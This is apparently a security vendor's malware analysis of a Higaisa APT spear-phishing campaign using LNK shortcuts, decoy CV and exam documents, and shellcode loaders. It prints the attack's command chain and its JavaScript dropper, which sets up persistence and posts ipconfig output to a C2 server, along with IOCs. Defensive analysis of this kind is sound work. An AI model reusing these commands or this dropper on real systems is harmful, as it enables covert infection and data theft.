New LNK attack tied to Higaisa APT discovered

blog.malwarebytes.com/threat-analysis/2020/06/higaisa/

Threat Intelligence Team

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On May 29th, we identified an attack that we believe is part of a new campaign from an Advanced Persistent Threat actor known as Higaisa. The Higaisa APT is believed to be tied to the Korean peninsula, and was first disclosed by Tencent Security Threat Intelligence Center in early 2019.

The group's activities go back to at least 2016 and include the use of Trojans such as Gh0st and PlugX, as well as mobile malware. Its targets include government officials and human rights organizations, as well as other entities related to North Korea.

In this latest incident, Higaisa used a malicious shortcut file ultimately responsible for creating a multi-stage attack that consists of several malicious scripts, payloads and decoy PDF documents.

Distribution

The threat actors used a malicious LNK file bundled within an archive file which was most likely distributed via spear-phishing.

We were able to identify two variants of this campaign that possibly have been distributed between May 12th and 31st:

- "CV_Colliers.rar"
- "Project link and New copyright policy.rar"

Both RAR archives bundle two malicious LNK files. In the newer variant (CV_Colliers.rar), the LNK files are disguised as a Curriculum Vitae (CV) and International English Language Testing System (IELTS) exam results. The older one (Project link and New copyright policy.rar) seems to target product teams that are using <u>zeplin.io</u>.

The following shows the overall process flow when executing the malicious LNK file.



Figure 1: Process graph

LNK file

The LNK file contains a list of commands that will be executed upon running, and a blob that is a base64 encoded compressed payload. Here is the list of commands that will be executed:



Figure 2: Malicious Ink commands

- Copy content of the LNK file into "g4ZokyumB2DC4.tmp" in %APPDATA% temp directory.
- Copy content of "certutil.exe" into "gosia.exe" ("*ertu*.exe is used to bypass security detection).
- Look for the base64 blob using "findstr.exe" and write it to "cSi1rouy4.tmp".

- Decode content of "cSi1rouy4.tmp" using "gosia.exe -decode" (certutil.exe -decode) and write it to "o423DFDS4.tmp".
- Decompress content of "o423DFDS4.tmp" in temp directory along with a decoy PDF document using "expand.exe -F:*" (Figure 3).
- Copy "66DF3DFG.tmp" and "34fDKfSD38.js" files into "C:\Users\Public\Downloads" directory.
- Execute the JS file by calling Wscript.
- Open the decoy document.

Name	Date modified	Туре	Size	
🐒 34fDFkfSD38.js	5/27/2020 7:26 PM	JavaScript File	2 KB 🛑	Malicious Java Script
66DF3DFG.tmp	5/25/2020 12:38 A	TMP File	53 KB 🛑	ShellCode
Curriculum Vitae_WANG LEI_Hong Ko	5/22/2020 12:17 A	PDF File	184 KB —	Decoy pdf Document (CV)
svchast.exe	5/25/2020 12:38 A	Application	50 KB 🗕	Small loader which loads and execute the Shellcode ("66DF3DFG.tmp")

Figure 3: Content of the "o423DFDS4.tmp" cab file

The list of commands executed by this LNK shortcut is the same as the one reported by Anomali on the <u>Higasia Covid-19 campaign</u>. The only difference is the name of the tmp files and name of certutil.exe which in this new case is "gosia.exe", while in the March campaign the name was "mosia.exe".

Both LNK files embedded within the archive are executing similar commands with the different Command and Control (C&C) configurations. Running each of them would show a different decoy document.

WANG LEI	
Tel.: +852 66747060 • Email: warren.wang@connect.polyu.hk	SC.
Avanability: May.2016 – Aug.2016	10
EDUCATION	
Columbia University (Expected)	United Sta
M.S. in Urban Planning & Real Estate Development	Sep.2016 - Jun.2
Hong Kong Polytechnic University	Hong K
BSc (HONS) in Geomatics with Specialism in Geo-Information Technology	Sep.2012 – Expected Jun.2
GPA: 3.42/4.0 Ranking: 4/38 IELTS: 7.5	
University of British Columbia	
Urban Design Summer Program	Jul.2015 - Aug.2
GPA: 91/100 Ranking: 1/70	-
PROFESSIONAL EXPERIENCE	
Summer Intern	Shanghai, China Buile
Shanghai Construction Group	Jun Jul.2
Assisted tracking the progress of construction projects and composed field observation	reports to supervisor
 Fast learned 3D modelling software Catia while new to it and helped with drawing of 3 	D models
 Conducted a feasibility study on the siting of subway stations through literature and field 	ld studies
Urban Heat Island (UHI) Research Assistant	Hong k
Hong Kong Polytechnic University	Jun - Aug

考试	租思考试								
笔试日期	2017年8月3日 墨期四								
口试日期	2017年8月1日 13:10(24小时制)								
考点名称	上海外国语大学								
考试类型	学术英								
注册号(用于雅思报名注册过程)	80 3 3 3 3 3 3 3 3 3 3								
考号									
出席/缺席	k 出席								
考试成绩	听力	阅读	写作	口语	总成绩				
	8.0	9.0	6.5	6.5	7.5				



JS file

The JavaScript file performs the following commands:

- Create "d3reEW.exe" in "C:\Users\Public\Downloads" and store "cmd /c ipconfig" in it.
- Execute the dropped "svchast.exe".
- Copy "svchhast.exe" into startup directory and rename it as "officeupdate.exe".

- Add "officeupdate.exe" to scheduled tasks.
- Send a POST request to a hardcoded URL with "d3reEW.exe" as data.

<pre>var shell = new ActiveXObject("Wscript.Shell");</pre>	
isHidden=0	
shell.Run('cmd /c ipconfig>C:\Users\Public\Downloads\d3reEW.txt & copy %temp%\vschast.exe "%AppData%\Microsoft\Windows\\Sta Very\Vschast.exe "%AppData%\Microsoft\Windows\\Sta Very\Vschast.exe "%AppData%\Microsoft\Windows\\Sta Very\Vschast.exe "%AppData%\Microsoft\Windows\\Sta Very\Vschast.exe "%AppData%\Microsoft\Windows\\Sta Very\Vschast.exe "%AppData%\Microsoft\Windows\\Sta Vschast.exe "%AppData%\\Microsoft\Windows\\Sta Vschast.exe "%AppData%\\Microsoft\Windows\\Sta Vschast.exe "%AppData%\\Microsoft\Windows\\Sta Vschast.exe "%AppData%\\Microsoft\\Xschast.exe "%AppData%\\Xschast.exe "%AppData%\\Microsoft\\Xschast.exe "%AppData%\\Xschast.exe "%AppData%\\Xschast.exe "%AppData%\\Xschast.exe "%App	art (areate (55 minute (MO 120 (MN Woffice
Menu/\Frograms\\Startup\\Officeupdate.exe" & copy <tempa "c:\\users\\fublic\\downloads\\officeupdate.exe"="" &="" \sychast.exe="" schtasks<br="">undate tack" / TP "ro\\\Tears\\Downloads\\Officeupdate.exe" & schtasks</tempa>	/create /SC minute /MO 120 /TN "Office
shell.Run('%temp%\/svchast.exe',isHidden)	
WScript.Sleep(1000);	
itry (
<pre>var fso = new ActiveXObject("Scripting.FileSystemObject");</pre>	
<pre>var txtfile = fso.openTextFile("C:\\Users\\Public\\Downloads\\d3reEW.txt",1);</pre>	
<pre>var ffext = txtfile.Read(1000); trutfile.Read(1000);</pre>	
catch(c)(c)	
shell.Run('cmd /c dir '.isHidden=0);	
-}	
itry (
<pre>var http = new ActiveXObject('Microsoft.XMLHTTP');</pre>	
<pre>var url = 'http://goodhk.azurewebsites.net/inter.php';</pre>	
nttp.open('POST', uri, raise);	
http:setRequestheader(content-type , approaction/x-www-torm-driencoded),	
catch(e){	
<pre>shell.Run('cmd /c dir ',isHidden=0);</pre>	
3	
Figure 6: JS content	
00000000 50 4F 53 54 20 68 74 74 70 3A 2F 2F 67 6F 6F 64 68 6B 2E 61 7A 75 72 65 77 65 62 73 69 74 65 73 2E 6E 65 74 2F	POST http://goodhk.azurewebsites.net/
00000025 69 6E 74 65 72 2E 70 68 70 20 48 54 54 50 2F 31 2E 31 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 41 63 63 65	<pre>inter.php HTTP/1.1Accept: */*Acce</pre>
0000004A 70 74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 6E 2D 75 73 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70	pt-Language: en-usContent-Type: app
	U: AMD64. Accept-Encoding: gzip. defl.
000000B9 61 74 65 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 61 74 69	ateUser-Agent: Mozilla/4.0 (compati
0000000E 62 6C 65 3B 20 4D 53 49 45 20 37 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 57 69 6E 36 34 3B	ble; MSIE 7.0; Windows NT 6.1; Win64;
00000103 20 78 36 34 38 20 54 72 69 64 65 6E 74 2F 34 2E 30 38 20 2E 4E 45 54 20 43 4C 52 20 32 2E 30 2E 35 30 37 32 37	x64; Trident/4.0; .NET CLR 2.0.50727
00000128 38 20 53 4C 43 43 32 38 20 2E 4E 45 54 20 43 4C 52 20 33 2E 35 2E 33 30 37 32 39 38 20 2E 4E 45 54 20 43 4C 52	; SLCC2; .NET CLR 3.5.30729; .NET CLR
00000140 20 33 2E 30 2E 33 30 37 32 39 38 20 4D 65 64 69 61 20 43 65 6E 74 65 72 20 50 43 20 36 2E 30 3B 20 2E 4E 45 54	3.0.30729; Media Center PC 6.0; .NET
00000197 62 73 69 74 65 73 25 65 65 74 00 01 43 65 65 74 65 65 74 20 40 65 65 67 74 68 32 0 34 8 34 00 01 43 65 65 65	bsites net Content-Length: 484 Conn
000001BC 65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 50 72 61 67 6D 61 3A 20 6E 6F 2D 63 61 63 68 65 0D	ection: Keep-AlivePragma: no-cache.
000001E1 OA OD OA 26 74 65 73 74 3D OD OA 57 69 6E 64 6F 77 73 20 49 50 20 43 6F 6E 66 69 67 75 72 61 74 69 6F 6E 0D OA	&test=Windows IP Configuration
00000206 0D 0A 0D 0A 45 74 68 65 72 6E 65 74 20 61 64 61 70 74 65 72 20 4C 6F 63 61 6C 20 41 72 65 61 20 43 6F 6E 6E 65	Ethernet adapter Local Area Conne
0000022B 63 74 69 6F 6E 3A 0D 0A 0D 0A 0D 0A 20 20 20 43 6F 6E 6E 65 63 74 69 6F 6E 2D 73 70 65 63 69 66 69 63 20 44 4E 53 20	ction: Connection-specific DNS
000000250 53 75 66 66 69 78 20 20 2E 20 3A 20 68 6F 6D 65 0D 0A 20 20 20 4C 69 6E 6B 2D 6C 6F 63 61 6C 20 49 50 76 62 00 00 0000250 54 64 64 72 65 72 73 0 2E 20 2E 20 3A 20 68 6F 6D 65 0D 0A 20 20 20 4C 69 6E 6B 2D 6C 6F 63 61 6C 20 49 50 76 53 62 0	Suffix . : home Link-local IPv6
000002/9 1 6 6 7 7 6 7 8 7 7 5 7 3 7 20 2 5 20 2 5 20 2 5 20 2 5 20 2 5 20 5 7 0 6 6 5 30 50 3 5 3 5 6 3 5 5 3 5 3 5 5 5 5 3 5 5 5 5	2h-ba35%11 TDv4 Address
000002BF 2E 20 3A 20 31 30 2E 30 2E 32 2E 31 35 0D 0A 20 20 53 75 62 6E 65 74 20 4D 61	: 10.0.2.15 Subnet Ma
000002E4 73 6B 20 2E 20 3A 20 32 35 35 2E 32 35 35 2E 32 35	sk
00000309 35 2E 30 0D 0A 20 20 20 44 65 66 61 75 6C 74 20 47 61 74 65 77 61 79 20 2E 2	5.0 Default Gateway
0000032E 20 2E 20 2E 20 3A 20 3I 30 2E 30 2E 32 2E 32 0D 0A 0D 0A 54 75 6E 6E 65 6C 20 61 64 61 70 74 65 72 20 69 73 61	: 10.0.2.2Tunnel adapter isa
000000353 74 61 70 2E 68 6F 6D 65 3A 0D 0A 0D 0A 20 20 4D 65 64 69 61 20 53 74 61 74 65 20 2E 20	tap.home: Media State
	Connection-specific DNS Suffix
	home

Figure7: POST request

svchast.exe

Svchast.exe is a small loader that loads the content of the shellcode stored in "66DF3DFG.tmp".



Figure 8: Main function of svchast.exe

In fact, this shellcode is a wrapper around the final shellcode. It performs some checks and then calls the final shellcode.

-			
1	4C 63 C0	movsxd r8,eax	
	85 C0	test eax,eax	
	✓ 7E 1F	jle E1AAOE	
	4C 63 57 38	movsxd r10,dword ptr ds:[rdi+38]	
	48 8B CB	mov rcx,rbx	
	49 3B CA	cmp rcx,r10	
	48 OF 4D CB	cmovge rcx,rbx	
	48 FF C1	inc rcx	
	8A 44 OF 3B	<pre>mov al,byte ptr ds:[rdi+rcx+3B]</pre>	
	30 02	xor byte ptr ds:[rdx],a]	
	48 FF C2	inc rdx	
	49 FF C8	dec r8	
	∧ 75 E8	ine E1A9F6	
	48 63 47 60	movsxd rax,dword ptr ds:[rdi+60]	
	0F B6 4F 2C	movzx ecx, byte ptr ds:[rdi+2C]	
	4C 8B C7	mov r8,rdi	
	4C 2B C0	sub r8,rax	Figure 9: Calling
	8B D3	mov edx,ebx	
	D3 CA	ror edx,cl	
	41 OF BE 00	movsx eax, byte ptr ds:[r8]	
	49 FF C0	inc r8	
	03 D0	add edx,eax	
	41 FF C9	dec r9d	
	75 F0	ine E1AA1E	
	44 3B DA	cmp r11d,edx	
	V OF 84 24 01 00 00	je E1AB5B	
	44 89 5F 30	mov dword ptr ds:[rdi+30],r11d	
	89 6F 34	mov dword ptr ds:[rdi+34],ebp	
	48 8D AF 90 13 00	lea rbp, gword ptr ds:[rdi+1390]	
	48 8D 87 90 13 00	lea rax,qword ptr ds:[rdi+1390]	
	48 8B CF	mov rcx,rdi	
	48 03 AF 88 13 00	add rbp.gword ptr ds:[rdi+1388]	
I	FF D0	call rax	

final shellcode

The final shellcode dynamically resolves the imports and allocates memory for the content that will be executed.

0000000000E40530	<&CryptAcquireContextW>	E0	81	CF	DE	FF	7F	00	00	14	1E	82	5F	00	00	à.ïÞÿ
0000000000E40540	<&CryptDestroyHash>	F0	80	CF	DE	FF	7F	00	00	A 5	2E	D1	73	00	00	ð.ÏÞÿ¥.Ñs
0000000000E40550	<&CryptCreateHash>	DO	75	CF	DE	FF	7F	00	00	2D	80	82	09	00	00	ÐuÏÞÿ−
0000000000E40560	<&CryptHashData>	A 0	77	CF	DE	FF	7F	00	00	91	10	4E	31	00	00	wïÞÿN1
0000000000E40570	<&CryptGetHashParam>	30	74	CF	DE	FF	7F	00	00	7D	3D	4E	A 5	00	00	0tïÞÿ}=N¥
0000000000E40580	<&CryptDeriveKey>	50	E3	D0	DE	FF	7F	00	00	69	AB	55	ЗA	00	00	PãĐÞÿi≪U:
0000000000E40590	<&CryptEncrypt>	50	D6	CF	DE	$\mathbf{F}\mathbf{F}$	7F	00	00	21	C9	46	2C	00	00	PÖÏÞÿ!ÉF,
0000000000E405A0	<&CryptDecrypt>	40	C1	CF	DE	$\mathbf{F}\mathbf{F}$	7F	00	00	01	C9	22	2C	00	00	@ÁÏÞÿÉ",
0000000000E405B0	<&GetUserNameW>	90	75	CF	DE	FF	7F	00	00	95	E2	52	52	00	00	.uÏÞÿâRR
0000000000E405C0	<&UuidCreate>	60	AA	C0	DC	FF	7F	00	00	CF	21	3E	бF	00	00	`ªÀÜÿÏ!>o
0000000000E405D0	<&WinHttpGetIEProxyConfigForCu	70	4A	в9	D5	FF	7F	00	00	30	10	65	12	00	00	pJ¹Õÿ0.e
0000000000E405E0	<&WinHttpOpen>	50	C4	в6	D5	FF	7F	00	00	13	88	Fб	6D	00	00	PĶÕÿöm
0000000000E405F0	<&WinHttpGetProxyForUrl>	C0	C1	B8	D5	FF	7F	00	00	Е9	46	44	\mathbf{FC}	00	00	ÀÁ,ÕÿéFDü
0000000000E40600	<&WinHttpCloseHandle>	00	CF	в7	D5	$\mathbf{F}\mathbf{F}$	7F	00	00	3E	5 A	80	10	00	00	.Ï.Őÿ>Z
0000000000E40610	<&WinHttpConnect>	60	в7	B8	D5	$\mathbf{F}\mathbf{F}$	7F	00	00	55	04	78	74	00	00	`∙,ÕÿU.xt
0000000000E40620	<&WinHttpOpenRequest>	B0	BE	в6	D5	$\mathbf{F}\mathbf{F}$	7F	00	00	Α7	79	0C	0E	00	00	°¾¶Õÿ§y
0000000000E40630	<&WinHttpAddRequestHeaders>	80	21	в9	D5	$\mathbf{F}\mathbf{F}$	7F	00	00	AF	8F	4A	20	00	00	.!¹Õÿ⁻.J
0000000000E40640	<&WinHttpSendRequest>	70	Α9	B8	D5	FF	7F	00	00	Α4	C1	14	44	00	00	p©,Õÿ¤Á.D
0000000000E40650	<&WinHttpWriteData>	00	CF	B8	D5	FF	7F	00	00	BC	E1	1F	FE	00	00	.Ï,Õÿ¼á.þ
0000000000E40660	<&WinHttpQueryDataAvailable>	F0	D7	в7	D5	FF	7F	00	00	5F	77	5E	\mathbf{FC}	00	00	ðוÕÿw^ü
0000000000E40670	<&WinHttpQueryOption>	80	E0	B8	D5	FF	7F	00	00	87	6D	88	D9	00	00	.à,Õÿm.Ù
0000000000E40680	<&WinHttpReceiveResponse>	30	C7	B8	D5	FF	7F	00	00	14	F1	F6	22	00	00	0Ç,Õÿñö"
0000000000E40690	<&WinHttpReadData>	D0	E0	в7	D5	$\mathbf{F}\mathbf{F}$	7F	00	00	7B	92	7D	30	00	00	Ðà Õÿ{.}0
0000000000E406A0	<&WinHttpSetOption>	B0	97	в7	D5	$\mathbf{F}\mathbf{F}$	7F	00	00	E2	C1	Fб	80	00	00	°. ·õÿâÁö
0000000000E406B0	<&WinHttpSetCredentials>	40	EE	в9	D5	$\mathbf{F}\mathbf{F}$	7F	00	00	EC	92	01	81	00	00	@î¹Õÿì
0000000000E406C0	<&WinHttpQueryAuthSchemes>	20	CE	BC	D5	FF	7F	00	00	BA	9C	1A	09	00	00	μÕÿ°
0000000000E406D0	<&GetAdaptersInfo>	60	91	7в	DA	FF	7F	00	00	8C	CE	11	30	00	00	`.{Úÿî.0
E: 40 D	1 · · · ·															

Figure 10: Resolving the imports

00000000013AAS0 * 0* 6k + 8 00 00 00 mov 3ct ax, daord ptr ds: [rdi+60] 00000000013AAS0 88 87 C0 00 00 00 mov sdx, daord ptr ds: [rdi+60] 00000000013AAS0 48 88 7C 00 00 00 mov sdx, daord ptr ds: [rdi+60] 00000000013AAS1 41 85 00 10 00 mov r8d, daord ptr ds: [rdi+60] 00000000013AAS1 41 85 00 10 00 mov r8d, looo 00000000013AAS1 48 86 CF 00000000013AAS1 48 86 CF 00000000013AAS1 48 86 CF s 00000000013AAS1 48 85 CF s 00000000013AAS2 48 85 S 00 00 0 00000000013AAAS1 48 55 CF s 00000000013AAAS1 48 85 CF	RAX 000000000000000000000000000000000000
o nononononitaac 2 EE DS call rbn	
	Default (x64 fastcall)
dword brill (111+03=[nnnnnnnn]erc2]=n 20000000001B993	1: rcx 0000/FFDEE55164 ntd11 2: rdx 000000000000000 3: r8 0000000004FFCF8 4: r9 0000000018c444
# Dump 1 # Dump 2 # Dump 3 # Dump 5 👹 Watch 1 🦻 Struct 000000000000000000000000000000000000	01E0000
Address Hex ASCII 000000000000000000000000000000000000	0000000 0000306 0000000 0000306

Figure 11: Allocate memory for new thread

Finally it calls "CreateThread" to create a thread within its memory space to make HTTPS requests to its C&C server.

0000000001BAAD6	7E 0A jle 1BAAE2		A Hide FPU
→● 000000001BAAD8	30 OE xor byte ptr ds:[rsi],cl		
• 000000001BAADA	48 FF C6 10C rS1		RAX 0000000001E00000 <&VirtualAlloc>
000000001BAADD	46 FF C6 DEC Fax		RBX 00000000000000
000000001BAAE0	A 70 FO		RCX 00000000000000
000000001BAAE2	48 88 87 C8 00 00 mov rax gword ptr ds:[rdi+C8]		RDX 00000000000000
0000000001BAAED			RBP 000000001BC444
000000001844E0	48 03 8F 88 00 00 add rcx gword ptr ds [rdj+88]	rdi+88:"06"	RSP 000000004FFD40
0000000001BAAF7	33 D2 xor edx.edx		R5I 000000001BCB06
0000000001BAAF9	48 89 5C 24 28 mov gword ptr ss:[rsp+28],rbx		RDI 000000001BAC00
000000001BAAFE	48 89 88 F0 07 00 mov gword ptr ds:[rax+7F0],rcx		
© 0000000016A605	48 8B 8F 88 00 00 mov rcx, gword ptr ds:[rdi+88]	rdi+88:"0G"	R8 000000001BA598
000000001BAB0C	4C 8B 87 F8 02 00 mov r8, qword ptr ds: [rdi+2F8]		R9 000000001BAC00
000000001BAB13	48 03 4F 50 add rcx, gword ptr ds:[rdi+50]		R10 0000000000000 'ð'
© 000000001BAB17	48 88 87 C8 00 00 mov rax, qword ptr ds:[rd1+C8]		R11 00000000000049E L'K'
000000001BAB1E	4C 03 47 50 add r8, gword ptr ds:[rd1+50]		R12 000000000000000
000000001BAB22	48 89 8F 18 01 00 mov dword ptr ds:[rd1+118],rcx		R13 000000000000000
000000001BAB29	33 C9 XOF ecx, ecx		R14 0000000001370
0000000015A525	59 5C 24 20 mov dword ptr 55: (59+20, ebx	I nov 20 I constet brood	R15 000000000000000
000000001BAB2P	4C 8B 87 C8 00 00 mov r8 gword ptr ds:[rdi+C8]	Trax+201.createrni eau	
0000000001BAB39	83 CA EF		RIP 000000001BAB2B
0000000018483C	48 88 C8 mov rcx.rax		
00000000016A63F	48 86 D8 mov rbx.rax		RFLAGS 0000000000246
000000001BAB42	41 FF 90 10 01 00 call gword ptr ds:[r8+110]		ZF 1 PF 1 AF 0
© 000000001BAB49	48 88 97 C8 00 00 mov rdx, qword ptr ds:[rdi+C8]		OF 0 SF 0 DF 0
000000001BAB50	48 8B CB mov rcx,rbx		CF0 TF0 IF1

Figure 11: CreateThread

At the time of analysis, the server was down so we weren't able to clearly identify the ultimate goal of this attack.

Chaining techniques for evasion

While most malware campaigns use a simple decoy document that typically retrieves a malware payload, more advanced attackers will often try unconventional means to infect their victims.

We reproduced this attack in our lab using an email as the infection vector, as we surmise that victims were spear-phished. Malwarebytes (in this case the <u>Nebula</u> business version) stopped the LNK file execution from WinRAR and therefore completely stopped the attack.

Detection Details	~			
Doloolion Dolang	1)01	tectior	ם רו ר	taile
		locuor	100	cuno.

() Malware	.Exploit.Agent.Generic
Detection Name:	Malware.Exploit.Agent.Generic
Action Taken:	Blocked
Category:	Exploit
Scanned At:	
Reported At:	
Туре:	Exploit
Endpoint:	
Location:	C:\windows\System32\cmd.exe C:\windows\System32\cmd.exe C:\Windows\System32\cmd.exe \c copy Curriculum Vitae_WANG L University.pdf.lnk C:\Users\\AppData\Local\Temp\g4ZokyumB2DC4.tmp \y& for \r C:\Windows\System32\ %i in (*ertu*.exe) dc C:\Users\\AppData\Local\Temp\g03a.exe \y& findstr.exe \b TVNDRgA C:\Users\\AppData\Local\Temp\g4ZokyumB2DC4.tmp>C:\Users\\AppData\Local\Temp\cSilrouy4.tmp&C:\Users\\AppData\Local\Temp\o423DFDS4.tmp&E:\Users\\AppData\Local\Temp\o423DFDS4.tmp&E:\Users\\AppData\Local\Temp\c423DFDS4.tmp -F:* C:\Users\\AppData\Local\Temp\c6DF3DFG.tmp C:\Users\\AppData\Local\Temp\34fDFkfSD38.js&exit
	•
	Close

IOCs

CV_Colliers.rar

df999d24bde96decdbb65287ca0986db98f73b4ed477e18c3ef100064bceba6d

Project link and New copyright policy.rar

c3a45aaf6ba9f2a53d26a96406b6c34a56f364abe1dd54d55461b9cc5b9d9a04

Curriculum Vitae_WANG LEI_Hong Kong Polytechnic University.pdf.Ink

50d081e526beeb61dc6180f809d6230e7cc56d9a2562dd0f7e01f7c6e73388d9

Tokbox icon – Odds and Ends – iOS – Zeplin.Ink

1074654a3f3df73f6e0fd0ad81597c662b75c273c92dc75c5a6bea81f093ef81

International English Language Testing System certificate.pdf.lnk

c613487a5fc65b3b4ca855980e33dd327b3f37a61ce0809518ba98b454ebf68b

Curriculum Vitae_WANG LEI_Hong Kong Polytechnic University.pdf.lnk

dcd2531aa89a99f009a740eab43d2aa2b8c1ed7c8d7e755405039f3a235e23a6

Conversations – iOS – Swipe Icons – Zeplin.Ink

c0a0266f6df7f1235aeb4aad554e505320560967248c9c5cce7409fc77b56bd5

C2 domains (ipconfig exfiltration)

sixindent[.]epizy[.]com goodhk[.]azurewebsites[.]net zeplin[.]atwebpages[.]com

C2s used by svchast.exe

45.76.6[.]149 www.comcleanner[.]info

MITRE ATT&CK techniques

Tactic	ID	Name	Details
Execution	<u>T1059</u>	Command-Line Interface	Starts CMD.EXE for commands (WinRAR.exe, wscript.exe) execution
	<u>T1106</u>	Execution through API	Application (AcroRd32.exe) launched itself
	<u>T1053</u>	Scheduled Task	Loads the Task Scheduler DLL interface (Officeupdate.exe)
	<u>T1064</u>	Scripting	Executes scripts (34fDFkfSD38.js)
	<u>T1204</u>	User Execution	Manual execution by user (opening LNK file)
Persistence	<u>T1060</u>	Registry Run Keys / Startup Folder	Writes to a start menu file (Officeupdate.exe)
	<u>T1053</u>	Scheduled Task	Uses Task Scheduler to run other applications (Officeupdate.exe)
Privilege Escalation	<u>T1053</u>	Scheduled Task	Uses Task Scheduler to run other applications (Officeupdate.exe)
Defense Evasion	<u>T1064</u>	Scripting	Executes scripts (34fDFkfSD38.js)
	<u>T1140</u>	Deobfuscate/Decode Files or Information	certutil to decode Base64 binaries, expand.exe to decompress a CAB file
Discovery	<u>T1012</u>	Query Registry	Reads the machine GUID from the registry

<u>T10</u> 8	32 System Discov	n Information ery	Reads the machine GUID from the registry
<u>T10</u>	<u>I6</u> System Configi Discov	n Network uration ery	Uses IPCONFIG.EXE to discover IP address